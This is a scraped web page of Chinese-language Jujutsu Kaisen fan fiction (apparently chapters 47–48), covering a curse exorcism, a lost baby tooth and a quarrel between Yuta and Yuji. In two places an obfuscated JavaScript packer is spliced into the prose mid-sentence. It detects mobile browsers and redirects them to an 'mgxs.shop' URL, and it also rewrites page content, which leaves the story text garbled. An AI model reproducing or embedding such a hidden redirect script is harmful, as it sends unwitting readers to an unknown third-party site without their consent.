伏黑惠觉得自己和乙骨忧太身后的“阴影”对上了视线,它向他发出了威慑的低吼。玉犬在他身边伏下身子,摆出进攻的姿态。
“里香,没事的,”乙骨忧太的声音安抚了它,这却让伏黑惠变得更加警惕,“如果可以的话,就当做这次彼此都没有见过吧。这位......”
“伏黑,他叫伏黑。”虎杖悠仁补充道。
因为戴了口罩遮住短了一截的门牙,乙骨忧太声音闷闷地说:“伏黑同学。”
伏黑惠没有点头或拒绝,而是反问道:“你们要去哪里?”
他们是去扫墓的。这里是仙台,沿着这条路继续往上走就是这片区域面积最大的公共墓园,虎杖倭助就被葬在了这里。这个消息是虎杖悠仁拜托孔时雨帮忙查到的——他有一次偷偷抓到了往教会的收件箱里塞包裹的邮递员,几番逼问、又花了好些功夫才重新找到了这个把他“弄丢”的大叔——连葬礼都是孔时雨代办,他的妈妈从始至终都没有来过这里。
原来如此,怪不得这附近会有咒灵存在。
伏黑惠再次查看了自己的手机,确定五条悟仍旧没有回信息之后,他主动接近了盯着他的乙骨忧太和虎杖悠仁:“我也要往上走。你们能感觉到那个咒灵的存在吧?我要去祓除它。”
“咒灵?”乙骨忧太看了一眼虎杖悠仁,见到粉发的孩子点头之后,露出了不好意思的表情:“果然我不太擅长咒力感知。”
他身上的咒力太过庞杂,导致他对散布在周围的寻常咒力的感知低到了和普通非术师没什么两样的地步,随着对自身咒力操作的精进,这种情况却不见好转。
如果是非常特殊或者足够强大的咒力他倒是能够感知个大概,一旦遇到现在这种情况反而会遗漏掉很多线索。
虎杖悠仁从竹签上咬下一颗鱼豆腐,被烫得嘶哈嘶哈地喘着气。
“那我们一起去吧。”他口齿不清地说。
伏黑惠存了试探的意思,而乙骨忧太并不太在意。他们的这趟出行是为了给虎杖倭助扫墓,早去晚去一会儿都不会影响什么。于是这样有些莫名其妙组建起来的三人小队一起向着留满残秽的地方前进。
“所以你们不是诅咒师。”
“我们又不会用咒术伤人,当然不是诅咒师了。”虎杖悠仁边吃边说。现在的风不大,不用担心会喝风的问题。
伏黑惠没有其他的话要说了。他现在对咒术界的了解也仅限于五条悟和他讲过的那些事,类似于咒术师和诅咒师,还有不成章法地讲解过的有关咒灵的事情。
“......像你们这样的人还很多吗?”他收回前言,好奇心正在逐渐膨胀。大概是因为冰天雪地里两杯热腾腾的关东煮散发出了很诱人的香气,让他的好奇心也觉得饥饿了吧?
“多少才算多呢?如果和非术师比起来的话,那大概就是大海和雨滴之间的差距吧?”
乙骨忧太默默吃着自己杯子里的海带结。
这话把伏黑惠自己问住了。
“和小学的一个班比起来呢?”他举了个通俗易懂的例子。
“没有那么多人啦。”
接下来还有例如“你们都住在一起吗?”、“不干诅咒师的话,收入来源是什么?”、“你身后的阴影是诅咒了你的咒灵吗?”之类的问题,但虎杖悠仁并非对他全然没有戒心,伏黑惠再难让他开口回答更加细节的问题。
他们在一个看上去像是公交站牌的地方停了下来。残秽聚集在这附近,所有的痕迹都指向了这里。
这个站台看上去像是村镇里多见一些,有可供人遮风避雨的棚子和半围挡住的空间,看上去就像是通往地下商场的入口,实则里面只是可容纳两三个人站立的地方。
“应该就是这里没错了,但是......”
咒灵在哪里?
“看上去就像是从这突然消失了一样。”
虎杖悠仁扶着木板探头探脑,下一刻突然感觉脚下一空,眼前的景象发生了天翻地覆的变化。
双脚切实站在地面上的时候,他下意识的第一反应是回头去找乙骨忧太,就在他扭头后的下一秒,乙骨忧太出现在了他的身后,拉住了他的手臂。
“啊,忧太。”虎杖悠仁有些呆愣地叫了一声他的名字,忽视了来到陌生环境而激烈跳动的心脏。
乙骨忧太警惕地盯着四周,里香从影子里冒了出来。
追着他们“进来”的伏黑惠第一次见到完全显现出来的巨大白色咒灵。他完全不理解现在究竟发生了什么,在他的视角里,虎杖悠仁在走进半封闭的小空间后瞬间消失了,随后站在他身边的乙骨忧太立即跟着追了上去。显然前面有他看不见的“门”,只犹豫了两秒,伏黑惠也一头冲了进去。
这里没有信号......他应该先给五条悟发个信息的。
“你们......是谁?”
三个孩子同时看向身后声音发出的地方。一个满身污渍、头发发油打结的小女孩抱着膝盖蜷缩在角落里,双眼大得惊人。
乙骨忧太意识到她的双眼看起来特别大的原因是她太瘦了,脸颊上的肉凹陷了下去,只剩眼球撑着薄薄的皮肤。
“小孩子?”虎杖悠仁四下环顾,企图看清这里到底是什么地方。周围黑漆漆的,唯一的光亮来自他们头顶,但头顶的天光也只是聊胜于无,无法照亮所有的角落。他看见了很多建筑垃圾,例如生锈断裂的钢筋和碎成块状的混凝土,黑暗的更深处传来窸窸窣窣的声音,似乎有其他的生物生活在这里。
小女孩的目光被伏黑惠身边的玉犬吸引住了。
她的声音很沙哑,说起话来也有气无力:“狗狗。”
伏黑惠拍了拍小白的头,它蹭蹭小主人的手,走到了小女孩的身边卧了下来。
他们没有轻举妄动——进入到这个空间是不可抗力,更深处的黑暗中藏着某种危险的东西。
“是几级的?”
虎杖悠仁回答了乙骨忧太的问题:“二级,或者准一级的感觉。”
他们对分辨咒灵的级别有一套独特的方法,虽然在旁人看来也只是根据感觉来判断,但因为在训练的时候能够接触到足够多的不同级别的咒灵,所以在判断咒灵级别的情况中他们极少出错。
“那......”虎杖悠仁握紧了拳头。
“等等,虎杖,”伏黑惠叫住了他们,“听听她怎么说吧。”
女孩望着虎杖悠仁手里剩下了半杯的关东煮,一直在不自觉地吞咽着。虎杖悠仁察觉到她的意图,歪着头将手中的杯子递了出去。
“你说这里还有谁?”伏黑惠趁机问道。
“......”女孩并不饿,只是太久没有吃过这么美味的食物。她咀嚼了很久,说道:“有很多人。”
这里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378185|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有很多无家可归的孩子。来栖华并不记得自己是否真的“无家可归”,连自己是如何来到这里的都记不太清了。在这里照顾大家的是“妈妈”,它会给大家准备午饭,尽管只是一些看不出来究竟用什么材料制成的糊状物,偶尔还能从食物里吃出铁钉或者螺丝之类的异物,但能为了不被饿死,吃掉那些东西就是唯一的选择。
来栖华喝掉了最后一点汤汁,舔着嘴唇不肯放过一点咸咸的味道:“大家都知道那不是自己的‘妈妈’,但是说出来的人......”
她有些麻木地抬头望向有光落下的方向。
在看清被挂在墙体突出的钢筋上的究竟是什么东西之后,伏黑惠捂住了嘴巴。那是不知已经死去多久、腐烂风干的尸体。
“太过分了。”虎杖悠仁皱起眉头。
“速战速决吧,”乙骨忧太开始唤醒自己的咒力,“它已经发现我们了。”
虎杖悠仁回答道:“我明白。”
里香会把这里弄得乱七八糟,如果像来栖华说得那样,这里还有其他的孩子们躲藏在角落里。长期营养不良与被囚禁在这个空间——也许这就是大人们说的“领域”——里让孩子们无力自行逃脱,必须有人确保他们不会被战斗波及。
白色的咒灵再适合不过,尽管里香因为这个决定而发出了不满的声音,可乙骨忧太和虎杖悠仁已经迅速确定了他们的计划。
“哈?你们就这样......那可是二级咒灵啊?!”
太乱来了!哪怕乙骨忧太身边跟着那个可怕的家伙,但和自己同龄的虎杖悠仁要怎样......
“伏黑!她就拜托你了!”
粉发孩子的声音轻飘飘地传进伏黑惠的耳朵里,但人已经从他眼前消失了。
“笨蛋——”
伏黑惠话音未落,面目狰狞的咒灵就从黑暗中破土而出。在瞬间响起的无数尖叫声中,孩子们的“假妈妈”挥舞着四条短小的手臂,五官和肢体的比例全都扭曲了的身体里发出了尖锐刺耳的叫声,向着不知何时出现在被天顶射下的光照亮的区域里的虎杖悠仁爆冲而去。
虎杖悠仁脚下踩着碎玻璃,因为受到了过大的压力而发出咯吱咯吱的挤压声。让从肚脐附近生成的咒力流经身体,依次通过躯干和四肢。耀眼的咒力汇聚在了稚嫩的拳头上,里香的影子闪烁在黑暗中,挨个救走处于危险地带的孩子。
粉发的孩子面对直冲他而来的咒灵没有丝毫惧意,哪怕他们之间的体型差距如此之大,被咒灵的阴影吞没数秒之后,伏黑惠看到“假妈妈”的后脊微微隆起,那异常的模样令他屏住呼吸,眼睛一眨也不眨。
咒灵的双眼暴突,似乎下一刻爬满血丝的眼球就会从眼眶中跳出来。
背后隆起的地方瘪了下去,然而下一瞬间,比刚才更可怕的凸起出现在了咒灵的身上,这次它的肉|体没有坚持住。“假妈妈”庞大的身体向上弹了一下,凸起的地方爆裂开,咒灵的身躯被一分为二,血肉飞向四面八方,露出了刚才被阴影吞噬的虎杖悠仁。
他的咒力在输出时有一个十分特殊的情况。寻常术师在出拳时,拳头击打的力道与附着在拳头上的咒力输出是同时发生的,而虎杖悠仁的咒力输出具有滞后性,这意味着他的一次进攻可以至少造成两次冲击。
再加上他本身强到不讲道理的身体素质与肌肉力量,就算单凭肉|体造成的攻击也不容小觑。
咒灵的暴起让这片空间的结构变得不稳定了起来,来栖华背靠着的地方并非是坚固的墙体,在这样的变故中变得摇摇欲坠。伏黑惠让她趴在了小白的背上,由小黑在前方开路,带着女孩逃离不断掉落砖石碎块的危险区域。
虎杖悠仁的身上理所当然地沾上了咒灵的血,他有些心疼地取下脖子上的围巾。尽管咒灵的血迹会在本体消失一段时间后自行消散,但仍会有诸多残秽留在那里,久久无法散去。
乙骨忧太和里香的怀里各自拎着几个和来栖华一样骨瘦如柴的孩子,带着他们来到了较为安全的中心地带。
“没有其他的人了,”怀里的孩子体重都远轻于这个年纪该有的重量,乙骨忧太确定这里已经没有其他人了,“这个地方应该很快就会消失。”
虎杖悠仁冲着乙骨忧太竖起大拇指,呲牙笑了起来:“搞定!”
他们身旁的里香动了动:“忧太......”
“玉犬!”
伏黑惠的喊声与里香的怒吼同时响起,虎杖悠仁的反应快得可怕,在听到身后传来的异响之后迅速完成转身挥拳的连续动作,将临死前仅凭上半身重新爬起来的咒灵再一次砸进了地面。
扑上来的黑色玉犬死死咬住了咒灵的脖子,甩头像是狩猎中的猛兽一样撕咬着。
“这下总是彻底死掉了吧?”虎杖悠仁甩甩手,发现咒灵的身体开始变成飞灰,确信它已经被彻底祓除了。
“假妈妈”死亡后,这个未完成的领域即将崩溃。
“谢了,伏黑。我还以为刚才那一下能搞定它呢......哈哈!”
“......是你太大意了。”
伏黑惠的话只换回了虎杖悠仁掩饰不好意思的笑。
他们重新回到了被白色的雪覆盖的大地,来栖华的双眼长时间停留在昏暗的地方,无法适应这样明亮的外界,有些痛苦地呻吟出声,抬起手臂试图挡住令眼睛刺痛无比的光。
“那么这些孩子......”乙骨忧太示意里香将孩子们放到地上,看向了伏黑惠。
年幼的十影术师比出了一个手势。
47. 第 47 章
“抱歉抱歉,我来晚啦。”伏黑惠听到那轻佻的声音就一阵火大,不过他还是乖乖从椅子上站了起来。
“嗯?这是什么情况?”五条悟挑起墨镜,比天空更遥远的蓝色眼睛望向被一群毛茸茸的白色生物包围在中间的孩子们。棉花糖一样柔软又温暖的脱兔数量众多,它们将孩子们团团围住,只露出脑袋,远远看上去就像一个个插在白色蛋糕上的水果装饰。
“你也来得太慢了。”伏黑惠小小地抱怨了一下,将刚才发生的事大致和他说明清楚。
五条悟先安抚性地拍了拍伏黑惠的脑袋。毕竟是突发的临时任务,他也没办法拒绝嘛,已经用最快的速度赶过来了,为此开车的辅助监督已经算是在路上飙车,就差闯红灯了。
“这是你一个人祓除的?挺能干的嘛!咦......好像还有两个很有意思的残秽诶。”
五条悟的六眼能够非常清晰地看穿咒力。原本这里的这个咒灵也是他的任务目标,正好伏黑惠在放寒假,他就想着带小孩出来见见世面......左右有他跟着,就算是个拥有未完成领域的特别的咒灵也不会出任何问题。
如果领域里还有非术师滞留,就让伏黑惠的式神悄悄带着他们离开,然后五条悟就能直接将其连根拔起了。
“听话的诅咒?有意思,难道是过咒怨灵那种类型的吗?”
伏黑惠歪着脑袋皱起眉头。
“你不知道什么是过咒怨灵吗?都说了要好好学习基础知识啊。”
“是你根本就没教过吧?!!”
五条悟拒不承认,但还是主动转变了话题:“所以,那两个孩子往哪里去了?”
“山上的墓园吧。现在过去没准还能碰到他们,要去吗?”
来栖华打了一个小小的喷嚏。脱兔们的身体暖呼呼的,仿佛整个人都被柔软的被褥裹住了一样,让她不自觉地想要入睡。
五条悟抬头望向了通往山上墓园的通路,刚刚落下的积雪上能够看到两行新踩出来的脚印。他搓了搓下巴,思考的时候表情还算正经:“惠啊,我猜你们肯定交换了联系方式吧?”
伏黑惠发出了一声几乎微不可察的“嘁”,结果被五条悟捏住脸扯了一下。
“先送这些孩子下山吧,”六眼术师做出了选择,这群孩子看上去严重营养不良、精神萎靡,在天寒地冻的荒山野岭坚持不了太久,“要做的事情真是太多了啊。”
伏黑惠的怀里抱着一只脱兔,他解除了玉犬们的召唤以维持如此庞大数量的脱兔的显现,为孩子们保持身体的温度。脱兔们不擅长进攻......尽管在调伏的时候的确有几只冲上来表演了一番功夫小兔,总得来说还算是性格温和的式神,伏黑惠试着让它们带着孩子们移动起来。
五条悟已经给辅助监督打去了电话,联系救护车的同时和他一起处理孩子们的善后工作。
山上的公共墓园内,虎杖悠仁为爷爷的墓清扫了积雪,将从管理者那里买来的花束插入了花筒中。
除了他们,没有别人选择在这样的天气前来扫墓,虎杖悠仁没有点香和摆放供品,只是简单地在爷爷墓前双手合十,微微低头闭上了眼睛。
爷爷,我现在过得很好。和我一起来看你的是忧太和里香,我们现在正一起生活,他们一直在照顾我,所以请你放心成佛吧。
虎杖悠仁在心中向爷爷汇报着他离开后自己的生活,舍去了那些令人感到消沉的坏事,将最近他们去了哪里玩、自己有把身体锻炼得很结实之类的事絮絮叨叨地向着眼前方方正正的灰白色墓碑说了个遍。
乙骨忧太站在虎杖悠仁身旁侧后方,同样合掌,为老人祈祷着。
“......请你保佑我们吧,爷爷。”虎杖悠仁的脖子上围着乙骨忧太让给他的围巾,口中呼出的白气随着寒风吹向同样灰白色的天空。
他们还会再来看他的。
——
虎杖悠仁在教会过了自己的第二个生日之后,终于开始像乙骨忧太一样换牙了。
他光着上身站在浴室的镜子前,脖子上新换的红绳挂着木质勾玉,非常苦恼地张大嘴巴,将一根手指伸进嘴巴里,晃动着开始松动的牙齿。
这颗摇摇欲坠的牙齿严重影响了他的食欲,每一口都会下意识地绕开即将掉落的牙齿,尽管乙骨忧太说没有必要特别在意它,等时间到了它自然就会掉下来的,但虎杖悠仁还是会不自觉地用舌头去顶那颗惹人过度关注的乳牙。
“悠仁?你这样会感冒的,赶快把衣服穿上!”因为虎杖悠仁进到浴室里之后安静了太久而过来查看情况的乙骨忧太盯着他乖乖将上衣穿好,才回到客厅继续准备早餐。
追出来的粉发孩子哭丧着脸:“我昨天晚上做噩梦了!超级可怕的那种!!”
“诶——早上起床的时候还在流口水的是谁?肯定不是悠仁吧?”
“我一晚上能做很多个梦!!!”
乙骨忧太在新收拾出来的小案板上将夹着生菜、煎蛋与火腿的方形的面包片沿着对角切开,把两份三明治放到盘子里。
“今天吃番茄酱还是沙拉酱?”
虎杖悠仁蔫头耷脑地收拾书包,拉长声音回答道:“番茄酱——”
因为整栋楼来来往往就只有那几个人常住,大家选择的房间分散在四处,所以枷场姐妹提出想要让房间更大一些、开辟出一个能够装下更多衣服的衣帽间后,夏油杰请人将她们的房间和隔壁的房间打通了。住在对面的乙骨忧太和虎杖悠仁同样也打通的隔壁的房间,多出了一个客厅和小厨房。
多余的空间让他们可以在房间里放下一些更多的小型家电,例如一个小冰箱、电磁炉、电饭煲和一口小锅。没有单独的洗衣机,所以衣服和床单等依旧会送到一楼的洗衣房清洗。
偶尔他们会自己在房间里做饭,放一些饮料或小零食在冰箱里。
“你做了什么梦?”挤好番茄酱,乙骨忧太将盘子放到了客厅的桌子上,拿出牛奶。
虎杖悠仁指了指自己的牙齿,语气夸张地向他描述:“我梦到自己的牙齿全都掉光了!就像老爷爷一样,什么都吃不了,连话也说不清楚。”
他肯定还梦到了一些别的事情,但唯独牙齿掉光这件事记得最清楚。
虎杖悠仁在咬三明治的时候又避开了那颗牙。因为把食物全都塞到一侧而导致脸颊很明显地鼓了起来,他用手捂着另一半张脸:“它掉下来的时候会痛吗?”
乙骨忧太想了想:“没什么特别的感觉,我是在吃饭的时候掉下来的,所以悠仁不要避开那颗牙,不然松动的时间太久还没掉下来的话要去看牙医的哦。”
走在飘满樱花的街道上时,枷场菜菜子说:“你最近也太没精神了吧?!”
“干脆拔掉好了。”美美子提出建议。
虎杖悠仁打了个哆嗦,鼻腔里自动浮现出了医院病房和消毒水的气味,以及某次路过牙科诊所听到从里面传来了电动锯子磨牙的声音。
“不行!不行不行!!”
乙骨忧太在一旁火上浇油:“不去看牙医的话,自己拔可能也行得通。我看有人会用线拴住松动的牙齿,再把线的另一头系在房门上,只要把门用力一关......”
他好笑地看着粉发孩子脸上的表情一变再变,最后生无可恋地将脑袋靠在自己肩膀上用力砸了两下表示不满才罢休。
“你连鬼屋和幽灵都不怕,居然害怕掉牙......胆小鬼!”
虎杖悠仁开始和枷场菜菜子拌嘴,强调这根本不是同一类型的问题。
来到班级里,经过几轮更换座位,他们四个终于坐到了一起。虎杖悠仁舔着松动的牙,观察着斋藤身上重新聚集起来的诅咒。它们尚未形成实体,所以斋藤的精神和身体状况还算比较好。
这次又是因为什么呢?难道那伙人又重操旧业了?
自从被虎杖悠仁揍过一通之后,那群高年级的学生销声匿迹了一段时间。开春的时候虎杖悠仁在校外碰到过他们,不过当时他们只是聚集在小巷里抽烟,所以双方相安无事。
正当他胡思乱想的时候,班长走到了他的课桌前。
“那个......虎杖同学?”
麻花辫发尾绑着红色蝴蝶结的女孩有些忐忑不安。
“怎么了,高木同学?”没想到虎杖悠仁直接叫出了她的名字。因为平日里他们很少和同班同学交流,也从未参加过远足或社会实践,这个学期刚当上班长的女孩对这次交谈一直抱着十分消极的态度......大家都知道虎杖悠仁比较好说话,所以她直接找到了他。
“运动会,要来参加吗?虎杖同学你的体育成绩很好,可以试试跑步或者跳远之类的项目......我们班的接力赛还差一个人,如果你们有其他想要参加的项目也可以来找我。”
虎杖悠仁看见了她手中的报名表上有很多栏目还空缺着。他们班的孩子对参加运动会项目这件事并不特别热衷,这大概是个很巧合的现象,但每次需要提交报名表的时候总会让历任班长很是苦恼,不得不四处拉人参加项目。
班主任建议她去问问虎杖悠仁,存了让他们四个更加融入班级的心思。对这四个很特殊的孩子,班主任尚未完全放弃和他们沟通......不只是在学习与教育方面,学校对孩子们的心理健康成长都很关注,然而这几个孩子的监护人比他们更难交流。
他们的监护人不会拒接班主任打去的电话,只是每次谈话总会让人觉得被敷衍了,偏偏态度上挑不出任何毛病。就像班主任每次叫虎杖悠仁来到办公室,想让他带着枷场姐妹和乙骨忧太多和其他人说话,粉发孩子每次都满口答应,和他们的监护人交谈时给人的感觉简直一模一样。
“抱歉啦,高木同学。”虎杖悠仁婉拒了班长的请求,阳光的笑脸让人没办法对他的拒绝说出不理解的话,绑着红色蝴蝶结的女孩失落地离开了。
去也可以,不去也可以,虎杖悠仁对这个班级和集体没有什么特别大的感触和融入感,比起在体育比赛中拿到毫无疑问的奖项,他更想拉着乙骨忧太去电影院看新出的恐怖片。
“求你了,它的预告真的很吸引人呐!你难道不想知道为什么人类会变成蚯蚓,掉入蚯蚓巢穴的主
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378186|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
角们究竟要怎么逃出生天吗?!求求你啦忧太!!”虎杖悠仁双手拢成喇叭的形状,发现乙骨忧太假装听不到之后,将教科书卷成筒状放在他的耳朵旁,提高了一些音量又将已经说过无数次的话再说了一遍。
这下乙骨忧太不得不摇晃着脑袋避开虎杖悠仁捣乱一样的行为,露出无奈又无语的表情:“不,你不觉得这个题材已经不只是恐怖,而是有点......恶心了吗?看到长着人脸的蚯蚓在地上蠕动......噫。”
乙骨忧太眯着眼睛皱眉,用双手抱住自己打了个冷颤。
“......我觉得超有意思的。”枷场姐妹拒绝和他讨论有关《蚯蚓人》的任何话题,他只能寄希望于能够拉上乙骨忧太和他一起去看电影,但眼见这最后的机会也要从眼前溜走。
“我们可以一起去电影院,”乙骨忧太退了一步,“你去看《蚯蚓人》,我可以去看柯南或者蜡笔小新,怎么样?”
虎杖悠仁有气无力地点了点头。
乙骨忧太悄悄松了一口气。
就在他们看完电影吃饭的时候,虎杖悠仁松动许久的牙齿终于掉了下来。
“忧太(漏风)!它掉了(漏风)!真的一点都不疼,但是感觉好奇怪(漏风)!”缺了一颗牙齿还要坚持说话的虎杖悠仁将乙骨忧太逗得快要笑垮下去,在粉发孩子“好过分!”的谴责眼神中揉平了有些笑僵的嘴角,取出一张餐巾纸将虎杖悠仁的第一颗乳牙包了起来。
扔掉牙齿也是有讲究的,不过虎杖悠仁表示想要将它们全都收集起来,希望这孩子在好几年之后还能找得到自己的第一颗乳牙放在了什么地方。
虎杖悠仁给这颗底部还带着点血丝的牙拍了好几张照片,用邮件发给了去年冬天新认识的朋友,并附上留言:这个可恶的家伙终于掉了!
第二天放学之后过了很久,他收到了回信。伏黑惠拉开自己的嘴巴给他看缺了牙齿的地方已经长出了全新的牙尖,只不过还是小小的模样。
——我早就掉了。
“伏黑那家伙的牙怎么比我掉得还早?!明明我的牙比他更早就开始晃悠了(漏风)!”虎杖悠仁被告知掉牙这件事和个人体质有关的时候难掩失望。
“......”乙骨忧太有些心不在焉地点头,这种情况很快便被虎杖悠仁发现,并开始逼问他究竟在想什么。
夕阳将他们的影子拉得很长,刚刚结束练习的两个孩子满身是汗,虎杖悠仁往嘴里灌着水。不知为何教会里居然还有自动贩卖机,但里面的商品看起来很久才会补充一次,只有偶尔想吃零食又不愿意走很远去便利店的时候,他们和枷场姐妹才会下楼购买自动贩卖机里的东西。
最近除了练习咒力操作外,夏油杰开始教他们使用咒具。女孩子们对此实在不感兴趣,她们的术式注定各自的手中都会持有辅助术式发动的物品,菜菜子是她的手机,美美子则是玩偶,持有更多的咒具对她们而言会是一种负担,所以在使用咒具方面的教学对象就只有乙骨忧太和虎杖悠仁。
挑来挑去,缠绕在夏油杰身上那只头顶秃秃的、毛毛虫一样的咒灵不堪重负地吐出了满地各式各样的咒具中,他们最终选定了武士刀和匕首。
比起这样锋利的兵刃,虎杖悠仁更习惯自己挥拳,不过夏油杰说他未来肯定会遇到不适合用肉身直接进攻的情况,这种时候用冰冷的刀刃破开敌人的防御就显得尤为重要。
而且,假使对方认定他只会挥拳,在给敌人制造出这样的假象后再用刀发起进攻,突袭成功的几率会大大增加。
夏油杰教授乙骨忧太如何慢慢将咒力和里香的诅咒注入到刀具中,直到整个刀刃都裹满了他们的力量。
“持有这样的武器并非让你们伤害他人,”夏油杰将剩下的咒具一件件放回咒灵口中,轮到一把红色的三节棍时他的动作明显慢了下来,仔细盯着它看了一会儿才将其塞了回去,“但是你们必须在有人选择伤害你们的时候拥有足够锋利的反击手段。”
他同样是这样教导菜菜子和美美子的。他们都是他重要的家人,决不能沦为没有獠牙的受迫害者。
“该动手的时候......就不该犹豫,”夏油杰看着乙骨忧太和虎杖悠仁,年幼的孩子们睁着清澈的眼睛望向他,从那黑色的、琥珀色的眼瞳中,他清晰地看见了自己的倒影,“想要保护住最重要的东西,总是要付出什么代价的。无论何时都不要忘记你们选择成为术师的理由。”
虎杖悠仁蹦跳着跑到乙骨忧太的身前,寻求眼神对视:“是因为夏油先生的话?还是因为别的原因?”
推动人生继续前进的总是一个个、接连不停的选择。夏油杰所描绘的未来中,乙骨忧太看见了自己为了保护在乎的人而选择伤害了其他人。他觉得自己能够承担这样的觉悟,但是被保护的人会原谅他的选择吗?
虎杖悠仁非常生气。
他大喊着“乙骨忧太是世界上最笨的人”,然后头也不回地跑开了。
忽然被抛弃在原地的乙骨忧太挽留的手还没有伸出去,对着空旷的训练场发出了一声无措的:“诶?”
48. 第 48 章
虎杖悠仁闷头跑回了房间,直到临睡觉前都拒绝和乙骨忧太发生任何对话,像个闹别扭的小孩子一样用这种方式表达着自己的不满。
拒绝沟通、拒绝给出生气的理由,乙骨忧太趴在上床的栏杆旁一声一声呼唤虎杖悠仁的名字,可无论他怎么打扰,粉发的孩子始终将自己窝在被子里,不肯冒出头来。
虎杖悠仁捂着耳朵,用薄被将自己裹成了一个团。
下面的动静变小了,然后随着床架的晃动,有什么重物来到了他的床垫上。在他想跑之前,乙骨忧太一把将他摁在了原地,压着被子的四角不许他逃走。
乙骨忧太没有强迫他从被子里伸出头来,而是隔着被子轻轻拍着他的后背,力道轻柔地像是动画片里母亲哄小婴儿入睡似的,用这样的方式安抚着他的情绪。
祈本里香曾经这样哄过他,他们也这样安抚过里香。
“我啊,大概想明白悠仁为什么在生气了。”乙骨忧太盘腿靠着墙,坐在缩成一团的虎杖悠仁身旁,手下轻拍的节奏和缓轻柔,一边说道。
隔着一层薄被,乙骨忧太的声音传入虎杖悠仁耳中的时候变得有些闷闷的,被子里的空间被他自己的呼吸弄得有些热。
背上的拍打逐渐变成了抚摸,沿着弯曲的后脊从上捋到下,虽然很容易让人联想到摸狗狗的手法,但不得不承认这样的安抚对虎杖悠仁非常有效。他现在已经不生气了,听到乙骨忧太说那些话时蹿上头顶的怒意也早就自然地消散,他只是不知道该如何切实地让乙骨忧太明白自己的心意。
“悠仁是个好孩子,如果有一天我为了保护悠仁而伤害了其他人......不是在村子那时的那样,而是真正地杀了什么人,夺走了其他人重要的东西。”
虎杖悠仁睁着眼睛。
“我是不会后悔的。”
虎杖悠仁猛地掀开被子,目光灼灼地瞪视着被吓了一跳的人:“所以你就是那么想的。”
乙骨忧太用沉默回答他。
“你的世界里,除了里香难道就只剩下我了吗?忧太明明没有菜菜子她们那样讨厌非术师,高木同学也试过和你讲话,但是你为什么要拒绝和他们沟通呢?”
虎杖悠仁非常喜欢被乙骨忧太全心全意注视着的感觉,上课时从书缝间、下课后从臂弯里投射来的视线,平时无处不在的目光都会令他感到只有回家时才会有的安全感。
他也很害怕这样的注视,这不是坚定的选择,而是因其特殊所以才会产生的偏爱。虎杖悠仁尝过了所有口味的糖果之后,才会说出自己最喜欢柠檬味,如果一个人只吃过柠檬味的糖,他所谓的喜爱和虎杖悠仁的喜欢是不一样的。
“因为!”乙骨忧太忽然提高了音量,他很少这样情绪激动地讲话,直接打断了想要继续说些什么的虎杖悠仁:“因为即便如此,我也好几次差一点就要和你分开了!我也想要建立更多的羁绊,我知道他们并非所有人都是会做坏事的家伙,可我怎么也做不到!!”
乙骨忧太抱着自己的头,将脸垂下去用头发遮住,不肯面对身旁跪坐着的虎杖悠仁。
“......对我来说,这就是极限了。”
被用笑容和平淡度过的每一天掩盖住、深深埋藏在心底的恐惧从裂开的缝隙中探出头,狰狞地微笑着。背负着诅咒、身怀庞大咒力的年幼术师有时也会怀疑自己是某种和咒灵非常相似的东西,从嘴巴里说出的话、一个动作乃至一个眼神都有可能成为诅咒他人的媒介,这难道不会令人感到恐惧吗?!
虎杖悠仁张了张嘴巴,有些磕磕绊绊地说:“但是、那不是诅咒啊。想要和忧太永远、一直在一起,这不是诅咒啊。”
他从未想过用这样的一句话去诅咒任何人,他不想用这样的锁链困住乙骨忧太的,他从来都没有这么期待过。
然而乙骨忧太只是摇头。
“......并不是、悠仁说的这个原因。”
“不!是一样的!”虎杖悠仁笃定地说道,似乎他已看破了所有争吵的源头,也已将其彻底切断:“是因为忧太想要一个人变成怪物,是因为忧太觉得只有自己能够变成怪物。”
“绝对不可以这样想。”粉发的孩子直起身子膝行向前挪了两个身位,这样的距离足够他和乙骨忧太的膝盖碰在一起,拉住对方的手。
“忧太的确很强,你有那么多的咒力,术式也很特别,”虎杖悠仁拒绝了乙骨忧太抬头想要插话的准备,“可能我一辈子也无法在咒术的方面追上你,但是——”
乙骨忧太在咒术上的天赋如同刺破夜空的最闪亮的星星,这一点毋庸置疑。
“——我绝对会留在你身边的。”
不够强,那就锻炼到不会被落下太远。但虎杖悠仁无法容忍自己会被当做毫无自觉的宝贝抢来抢去,仿佛谁都有资格说他应该被谁保护着、觉得他没有能力选择自己想要站在谁的身边。
乙骨忧太必须知道,是虎杖悠仁自己想要同他一起生活、一起成长,甚至在未来能够共同战斗。这并不是乙骨忧太自己的一厢情愿,而是两人共同做出的选择。
很显然,乙骨忧太被虎杖悠仁的话钉在了原地。
琥珀一样透亮的双眼毫无阴霾地直视着他,看透了他伪装在正常生活的外表下的脆弱与恐惧,让他瞬间慌乱无比。眼眶开始变得酸涩,热意汇聚在眼角,等待着足以濡湿眼球的液体。
那一刹那产生的冲动让乙骨忧太把头埋进了粉发孩子的颈肩,用紧贴的皮肤感受着比双眼更沉重的灼热。
虎杖悠仁总是很乐观。鼓动的脉搏就在自己的耳边跳动着,隔着薄薄的皮肤,能够感受到他的血液在奔腾。
死亡也会眷顾这样充满生命力的孩子吗?
